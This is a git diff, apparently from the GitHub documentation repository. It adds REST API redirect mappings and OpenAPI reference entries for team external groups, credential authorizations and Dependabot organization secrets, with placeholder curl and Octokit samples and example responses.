--- /dev/null
+++ b/lib/redirects/static/rest-api-redirect-exceptions.json
@@ -0,0 +1,124 @@
+{
+  "/rest/reference/repos#list-repository-collaborators": "/rest/reference/collaborators#list-repository-collaborators",
+  "/rest/reference/repos#check-if-a-user-is-a-repository-collaborator": "/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator",
+  "/rest/reference/repos#add-a-repository-collaborator": "/rest/reference/collaborators#add-a-repository-collaborator",
+  "/rest/reference/repos#remove-a-repository-collaborator": "/rest/reference/collaborators#remove-a-repository-collaborator",
+  "/rest/reference/repos#get-repository-permissions-for-a-user": "/rest/reference/collaborators#get-repository-permissions-for-a-user",
+  "/rest/reference/repos#list-commit-comments-for-a-repository": "/rest/reference/commits#list-commit-comments-for-a-repository",
+  "/rest/reference/repos#get-a-commit-comment": "/rest/reference/commits#get-a-commit-comment",
+  "/rest/reference/repos#update-a-commit-comment": "/rest/reference/commits#update-a-commit-comment",
+  "/rest/reference/repos#delete-a-commit-comment": "/rest/reference/commits#delete-a-commit-comment",
+  "/rest/reference/repos#list-commits": "/rest/reference/commits#list-commits",
+  "/rest/reference/repos#list-branches-for-head-commit": "/rest/reference/commits#list-branches-for-head-commit",
+  "/rest/reference/repos#list-commit-comments": "/rest/reference/commits#list-commit-comments",
+  "/rest/reference/repos#create-a-commit-comment": "/rest/reference/commits#create-a-commit-comment",
+  "/rest/reference/repos#list-pull-requests-associated-with-a-commit": "/rest/reference/commits#list-pull-requests-associated-with-a-commit",
+  "/rest/reference/repos#get-a-commit": "/rest/reference/commits#get-a-commit",
+  "/rest/reference/repos#get-the-combined-status-for-a-specific-reference": "/rest/reference/commits#get-the-combined-status-for-a-specific-reference",
+  "/rest/reference/repos#list-commit-statuses-for-a-reference": "/rest/reference/commits#list-commit-statuses-for-a-reference",
+  "/rest/reference/repos#get-community-profile-metrics": "/rest/reference/metrics#get-community-profile-metrics",
+  "/rest/reference/repos#compare-two-commits": "/rest/reference/commits#compare-two-commits",
+  "/rest/reference/repos#get-all-environments": "/rest/reference/deployments#get-all-environments",
+  "/rest/reference/repos#get-an-environment": "/rest/reference/deployments#get-an-environment",
+  "/rest/reference/repos#create-or-update-an-environment": "/rest/reference/deployments#create-or-update-an-environment",
+  "/rest/reference/repos#delete-an-environment": "/rest/reference/deployments#delete-an-environment",
+  "/rest/reference/repos#list-repository-invitations": "/rest/reference/collaborators#list-repository-invitations",
+  "/rest/reference/repos#update-a-repository-invitation": "/rest/reference/collaborators#update-a-repository-invitation",
+  "/rest/reference/repos#delete-a-repository-invitation": "/rest/reference/collaborators#delete-a-repository-invitation",
+  "/rest/reference/repos#list-deploy-keys": "/rest/reference/deployments#list-deploy-keys",
+  "/rest/reference/repos#create-a-deploy-key": "/rest/reference/deployments#create-a-deploy-key",
+  "/rest/reference/repos#get-a-deploy-key": "/rest/reference/deployments#get-a-deploy-key",
+  "/rest/reference/repos#delete-a-deploy-key": "/rest/reference/deployments#delete-a-deploy-key",
+  "/rest/reference/repos#get-a-github-pages-site": "/rest/reference/pages#get-a-github-pages-site",
+  "/rest/reference/repos#create-a-github-pages-site": "/rest/reference/pages#create-a-github-pages-site",
+  "/rest/reference/repos#update-information-about-a-github-pages-site": "/rest/reference/pages#update-information-about-a-github-pages-site",
+  "/rest/reference/repos#delete-a-github-pages-site": "/rest/reference/pages#delete-a-github-pages-site",
+  "/rest/reference/repos#list-github-pages-builds": "/rest/reference/pages#list-github-pages-builds",
+  "/rest/reference/repos#request-a-github-pages-build": "/rest/reference/pages#request-a-github-pages-build",
+  "/rest/reference/repos#get-latest-pages-build": "/rest/reference/pages#get-latest-pages-build",
+  "/rest/reference/repos#get-github-pages-build": "/rest/reference/pages#get-github-pages-build",
+  "/rest/reference/repos#get-a-dns-health-check-for-github-pages": "/rest/reference/pages#get-a-dns-health-check-for-github-pages",
+  "/rest/reference/repos#get-the-weekly-commit-activity": "/rest/reference/metrics#get-the-weekly-commit-activity",
+  "/rest/reference/repos#get-the-last-year-of-commit-activity": "/rest/reference/metrics#get-the-last-year-of-commit-activity",
+  "/rest/reference/repos#get-all-contributor-commit-activity": "/rest/reference/metrics#get-all-contributor-commit-activity",
+  "/rest/reference/repos#get-the-weekly-commit-count": "/rest/reference/metrics#get-the-weekly-commit-count",
+  "/rest/reference/repos#get-the-hourly-commit-count-for-each-day": "/rest/reference/metrics#get-the-hourly-commit-count-for-each-day",
+  "/rest/reference/repos#create-a-commit-status": "/rest/reference/commits#create-a-commit-status",
+  "/rest/reference/repos#get-repository-clones": "/rest/reference/metrics#get-repository-clones",
+  "/rest/reference/repos#get-top-referral-paths": "/rest/reference/metrics#get-top-referral-paths",
+  "/rest/reference/repos#get-top-referral-sources": "/rest/reference/metrics#get-top-referral-sources",
+  "/rest/reference/repos#get-page-views": "/rest/reference/metrics#get-page-views",
+  "/rest/reference/repos#list-repository-invitations-for-the-authenticated-user": "/rest/reference/collaborators#list-repository-invitations-for-the-authenticated-user",
+  "/rest/reference/repos#accept-a-repository-invitation": "/rest/reference/collaborators#accept-a-repository-invitation",
+  "/rest/reference/repos#decline-a-repository-invitation": "/rest/reference/collaborators#decline-a-repository-invitation",
+  "/rest/reference/repos#list-branches": "/rest/reference/branches#list-branches",
+  "/rest/reference/repos#get-a-branch": "/rest/reference/branches#get-a-branch",
+  "/rest/reference/repos#rename-a-branch": "/rest/reference/branches#rename-a-branch",
+  "/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository": "/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository",
+  "/rest/reference/repos#merge-a-branch": "/rest/reference/branches#merge-a-branch",
+  "/rest/reference/repos#add-app-access-restrictions": "/rest/reference/branches#add-app-access-restrictions",
+  "/rest/reference/repos#add-status-check-contexts": "/rest/reference/branches#add-status-check-contexts",
+  "/rest/reference/repos#add-team-access-restrictions": "/rest/reference/branches#add-team-access-restrictions",
+  "/rest/reference/repos#add-user-access-restrictions": "/rest/reference/branches#add-user-access-restrictions",
+  "/rest/reference/repos#create-commit-signature-protection": "/rest/reference/branches#create-commit-signature-protection",
+  "/rest/reference/repos#delete-access-restrictions": "/rest/reference/branches#delete-access-restrictions",
+  "/rest/reference/repos#delete-admin-branch-protection": "/rest/reference/branches#delete-admin-branch-protection",
+  "/rest/reference/repos#delete-branch-protection": "/rest/reference/branches#delete-branch-protection",
+  "/rest/reference/repos#delete-commit-signature-protection": "/rest/reference/branches#delete-commit-signature-protection",
+  "/rest/reference/repos#delete-pull-request-review-protection": "/rest/reference/branches#delete-pull-request-review-protection",
+  "/rest/reference/repos#get-access-restrictions": "/rest/reference/branches#get-access-restrictions",
+  "/rest/reference/repos#get-admin-branch-protection": "/rest/reference/branches#get-admin-branch-protection",
+  "/rest/reference/repos#get-all-status-check-contexts": "/rest/reference/branches#get-all-status-check-contexts",
+  "/rest/reference/repos#list-apps-with-access-to-the-protected-branch": "/rest/reference/branches#list-apps-with-access-to-the-protected-branch",
+  "/rest/reference/repos#update-pull-request-review-protection": "/rest/reference/branches#update-pull-request-review-protection",
+  "/rest/reference/repos#get-branch-protection": "/rest/reference/branches#get-branch-protection",
+  "/rest/reference/repos#get-commit-signature-protection": "/rest/reference/branches#get-commit-signature-protection",
+  "/rest/reference/repos#get-pull-request-review-protection": "/rest/reference/branches#get-pull-request-review-protection",
+  "/rest/reference/repos#get-status-checks-protection": "/rest/reference/branches#get-status-checks-protection",
+  "/rest/reference/repos#list-teams-with-access-to-the-protected-branch": "/rest/reference/branches#list-teams-with-access-to-the-protected-branch",
+  "/rest/reference/repos#list-users-with-access-to-the-protected-branch": "/rest/reference/branches#list-users-with-access-to-the-protected-branch",
+  "/rest/reference/repos#remove-app-access-restrictions": "/rest/reference/branches#remove-app-access-restrictions",
+  "/rest/reference/repos#remove-status-check-contexts": "/rest/reference/branches#remove-status-check-contexts",
+  "/rest/reference/repos#remove-status-check-protection": "/rest/reference/branches#remove-status-check-protection",
+  "/rest/reference/repos#remove-team-access-restrictions": "/rest/reference/branches#remove-team-access-restrictions",
+  "/rest/reference/repos#remove-user-access-restrictions": "/rest/reference/branches#remove-user-access-restrictions",
+  "/rest/reference/repos#set-admin-branch-protection": "/rest/reference/branches#set-admin-branch-protection",
+  "/rest/reference/repos#set-app-access-restrictions": "/rest/reference/branches#set-app-access-restrictions",
+  "/rest/reference/repos#set-status-check-contexts": "/rest/reference/branches#set-status-check-contexts",
+  "/rest/reference/repos#set-team-access-restrictions": "/rest/reference/branches#set-team-access-restrictions",
+  "/rest/reference/repos#set-user-access-restrictions": "/rest/reference/branches#set-user-access-restrictions",
+  "/rest/reference/repos#update-branch-protection": "/rest/reference/branches#update-branch-protection",
+  "/rest/reference/repos#update-status-check-protection": "/rest/reference/branches#update-status-check-protection",
+  "/rest/reference/repos#create-a-deployment-status": "/rest/reference/deployments#create-a-deployment-status",
+  "/rest/reference/repos#list-deployment-statuses": "/rest/reference/deployments#list-deployment-statuses",
+  "/rest/reference/repos#get-a-deployment-status": "/rest/reference/deployments#get-a-deployment-status",
+  "/rest/reference/repos#list-deployments": "/rest/reference/deployments#list-deployments",
+  "/rest/reference/repos#create-a-deployment": "/rest/reference/deployments#create-a-deployment",
+  "/rest/reference/repos#get-a-deployment": "/rest/reference/deployments#get-a-deployment",
+  "/rest/reference/repos#delete-a-deployment": "/rest/reference/deployments#delete-a-deployment",
+  "/rest/reference/repos#list-releases": "/rest/reference/releases#list-releases",
+  "/rest/reference/repos#create-a-release": "/rest/reference/releases#create-a-release",
+  "/rest/reference/repos#generate-release-notes": "/rest/reference/releases#generate-release-notes",
+  "/rest/reference/repos#get-the-latest-release": "/rest/reference/releases#get-the-latest-release",
+  "/rest/reference/repos#get-a-release-by-tag-name": "/rest/reference/releases#get-a-release-by-tag-name",
+  "/rest/reference/repos#get-a-release": "/rest/reference/releases#get-a-release",
+  "/rest/reference/repos#update-a-release": "/rest/reference/releases#update-a-release",
+  "/rest/reference/repos#delete-a-release": "/rest/reference/releases#delete-a-release",
+  "/rest/reference/repos#delete-a-release-asset": "/rest/reference/releases#delete-a-release-asset",
+  "/rest/reference/repos#get-a-release-asset": "/rest/reference/releases#get-a-release-asset",
+  "/rest/reference/repos#list-release-assets": "/rest/reference/releases#list-release-assets",
+  "/rest/reference/repos#update-a-release-asset": "/rest/reference/releases#update-a-release-asset",
+  "/rest/reference/repos#upload-a-release-asset": "/rest/reference/releases#upload-a-release-asset",
+  "/rest/reference/repos#list-repository-webhooks": "/rest/reference/webhooks#list-repository-webhooks",
+  "/rest/reference/repos#create-a-repository-webhook": "/rest/reference/webhooks#create-a-repository-webhook",
+  "/rest/reference/repos#get-a-repository-webhook": "/rest/reference/webhooks#get-a-repository-webhook",
+  "/rest/reference/repos#update-a-repository-webhook": "/rest/reference/webhooks#update-a-repository-webhook",
+  "/rest/reference/repos#delete-a-repository-webhook": "/rest/reference/webhooks#delete-a-repository-webhook",
+  "/rest/reference/repos#ping-a-repository-webhook": "/rest/reference/webhooks#ping-a-repository-webhook",
+  "/rest/reference/repos#test-the-push-repository-webhook": "/rest/reference/webhooks#test-the-push-repository-webhook",
+  "/rest/reference/repos#get-a-webhook-configuration-for-a-repository": "/rest/reference/webhooks#get-a-webhook-configuration-for-a-repository",
+  "/rest/reference/repos#update-a-webhook-configuration-for-a-repository": "/rest/reference/webhooks#update-a-webhook-configuration-for-a-repository",
+  "/rest/reference/repos#get-a-delivery-for-a-repository-webhook": "/rest/reference/webhooks#get-a-delivery-for-a-repository-webhook",
+  "/rest/reference/repos#list-deliveries-for-a-repository-webhook": "/rest/reference/webhooks#list-deliveries-for-a-repository-webhook",
+  "/rest/reference/repos#redeliver-a-delivery-for-a-repository-webhook": "/rest/reference/webhooks#redeliver-a-delivery-for-a-repository-webhook"
+}
\ No newline at end of file
diff --git a/lib/rest/index.js b/lib/rest/index.js
index d698dc27f2..b6572babd0 100644
--- a/lib/rest/index.js
+++ b/lib/rest/index.js
@@ -8,17 +8,6 @@ import { readCompressedJsonFileFallback } from '../read-json-file.js'
 const __dirname = path.dirname(fileURLToPath(import.meta.url))
 const schemasPath = path.join(__dirname, 'static/decorated')
 
-export const restRepoCategoryExceptions = [
-  'branches',
-  'collaborators',
-  'commits',
-  'deployments',
-  'pages',
-  'releases',
-  'repository-metrics',
-  'webhooks',
-]
-
 export default async function getRest() {
   const operations = {}
   fs.readdirSync(schemasPath).forEach((filename) => {
diff --git a/lib/rest/static/decorated/api.github.com.json b/lib/rest/static/decorated/api.github.com.json
index 1abdc8937f..0c888d348f 100644
--- a/lib/rest/static/decorated/api.github.com.json
+++ b/lib/rest/static/decorated/api.github.com.json
@@ -14361,6 +14361,77 @@
       }
     ]
   },
+  {
+    "verb": "get",
+    "requestPath": "/organizations/{org}/team/{team_slug}/external-groups",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "team_slug",
+        "description": "team_slug parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>team_slug parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/organizations/ORG/team/TEAM_SLUG/external-groups",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/organizations/ORG/team/TEAM_SLUG/external-groups</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /organizations/{org}/team/{team_slug}/external-groups', {\n  org: 'org',\n  team_slug: 'team_slug'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /organizations/{org}/team/{team_slug}/external-groups'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">team_slug</span>: <span class=\"hljs-string\">'team_slug'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "List a connection between an external group and a team",
+    "description": "Lists a connection between a team and an external group.\n\nYou can manage team membership with your identity provider using Enterprise Managed Users for GitHub Enterprise Cloud. For more information, see \"[GitHub's products](https://docs.github.com/github/getting-started-with-github/githubs-products)\" in the GitHub Help documentation.",
+    "tags": [
+      "teams"
+    ],
+    "operationId": "teams/list-linked-external-idp-groups-to-team-for-org",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/teams#list-external-idp-group-team-connection"
+    },
+    "x-github": {
+      "githubCloudOnly": true,
+      "enabledForGitHubApps": true,
+      "previews": [],
+      "category": "teams",
+      "subcategory": "external-groups"
+    },
+    "slug": "list-a-connection-between-an-external-group-and-a-team",
+    "category": "teams",
+    "categoryLabel": "Teams",
+    "subcategory": "external-groups",
+    "subcategoryLabel": "External groups",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Lists a connection between a team and an external group.</p>\n<p>You can manage team membership with your identity provider using Enterprise Managed Users for GitHub Enterprise Cloud. For more information, see \"<a href=\"https://docs.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a>\" in the GitHub Help documentation.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"groups\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-punctuation\">[</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"group_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"123\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"group_name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"Octocat admins\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-01-24T11:31:04-06:00\"</span>\n    <span class=\"hljs-punctuation\">}</span><span class=\"hljs-punctuation\">,</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"group_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"456\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"group_name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"Octocat docs members\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-03-24T11:31:04-06:00\"</span>\n    <span class=\"hljs-punctuation\">}</span>\n  <span class=\"hljs-punctuation\">]</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
   {
     "verb": "get",
     "requestPath": "/orgs/{org}",
@@ -19112,6 +19183,34 @@
           "type": "string"
         },
         "descriptionHTML": ""
+      },
+      {
+        "name": "per_page",
+        "description": "Results per page (max 100)",
+        "in": "query",
+        "schema": {
+          "type": "integer",
+          "default": 30
+        },
+        "descriptionHTML": "<p>Results per page (max 100)</p>"
+      },
+      {
+        "name": "page",
+        "description": "Page token",
+        "in": "query",
+        "schema": {
+          "type": "integer"
+        },
+        "descriptionHTML": "<p>Page token</p>"
+      },
+      {
+        "name": "login",
+        "description": "Limits the list of credentials authorizations for an organization to a specific login",
+        "in": "query",
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>Limits the list of credentials authorizations for an organization to a specific login</p>"
       }
     ],
     "x-codeSamples": [
@@ -19228,6 +19327,846 @@
     "bodyParameters": [],
     "descriptionHTML": "<p>Listing and deleting credential authorizations is available to organizations with GitHub Enterprise Cloud. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a>.</p>\n<p>An authenticated organization owner with the <code>admin:org</code> scope can remove a credential authorization for an organization that uses SAML SSO. Once you remove someone's credential authorization, they will need to create a new personal access token or SSH key and authorize it for the organization they want to access.</p>"
   },
+  {
+    "verb": "get",
+    "requestPath": "/orgs/{org}/dependabot/secrets",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "per_page",
+        "description": "Results per page (max 100)",
+        "in": "query",
+        "schema": {
+          "type": "integer",
+          "default": 30
+        },
+        "descriptionHTML": "<p>Results per page (max 100)</p>"
+      },
+      {
+        "name": "page",
+        "description": "Page number of the results to fetch.",
+        "in": "query",
+        "schema": {
+          "type": "integer",
+          "default": 1
+        },
+        "descriptionHTML": "<p>Page number of the results to fetch.</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /orgs/{org}/dependabot/secrets', {\n  org: 'org'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /orgs/{org}/dependabot/secrets'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "List organization secrets",
+    "description": "Lists all secrets available in an organization without revealing their encrypted values. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/list-org-secrets",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#list-organization-secrets"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "list-organization-secrets",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Lists all secrets available in an organization without revealing their encrypted values. You must authenticate using an access token with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization permission to use this endpoint.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"total_count\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-number\">3</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"secrets\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-punctuation\">[</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"MY_ARTIFACTORY_PASSWORD\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"created_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-08-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-12-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"visibility\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"private\"</span>\n    <span class=\"hljs-punctuation\">}</span><span class=\"hljs-punctuation\">,</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"NPM_TOKEN\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"created_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-08-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-12-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"visibility\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"all\"</span>\n    <span class=\"hljs-punctuation\">}</span><span class=\"hljs-punctuation\">,</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"GH_TOKEN\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"created_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-08-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2021-12-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"visibility\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"selected\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"selected_repositories_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/orgs/octo-org/dependabot/secrets/SUPER_SECRET/repositories\"</span>\n    <span class=\"hljs-punctuation\">}</span>\n  <span class=\"hljs-punctuation\">]</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
+  {
+    "verb": "get",
+    "requestPath": "/orgs/{org}/dependabot/secrets/public-key",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/public-key",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/public-key</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /orgs/{org}/dependabot/secrets/public-key', {\n  org: 'org'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /orgs/{org}/dependabot/secrets/public-key'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Get an organization public key",
+    "description": "Gets your public key, which you need to encrypt secrets. You need to encrypt a secret before you can create or update secrets. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/get-org-public-key",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#get-an-organization-public-key"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "get-an-organization-public-key",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Gets your public key, which you need to encrypt secrets. You need to encrypt a secret before you can create or update secrets. You must authenticate using an access token with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization permission to use this endpoint.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"key_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"012345678912345678\"</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"key\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvv1234\"</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
+  {
+    "verb": "get",
+    "requestPath": "/orgs/{org}/dependabot/secrets/{secret_name}",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /orgs/{org}/dependabot/secrets/{secret_name}', {\n  org: 'org',\n  secret_name: 'secret_name'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /orgs/{org}/dependabot/secrets/{secret_name}'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Get an organization secret",
+    "description": "Gets a single organization secret without revealing its encrypted value. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/get-org-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#get-an-organization-secret"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "get-an-organization-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Gets a single organization secret without revealing its encrypted value. You must authenticate using an access token with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization permission to use this endpoint.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
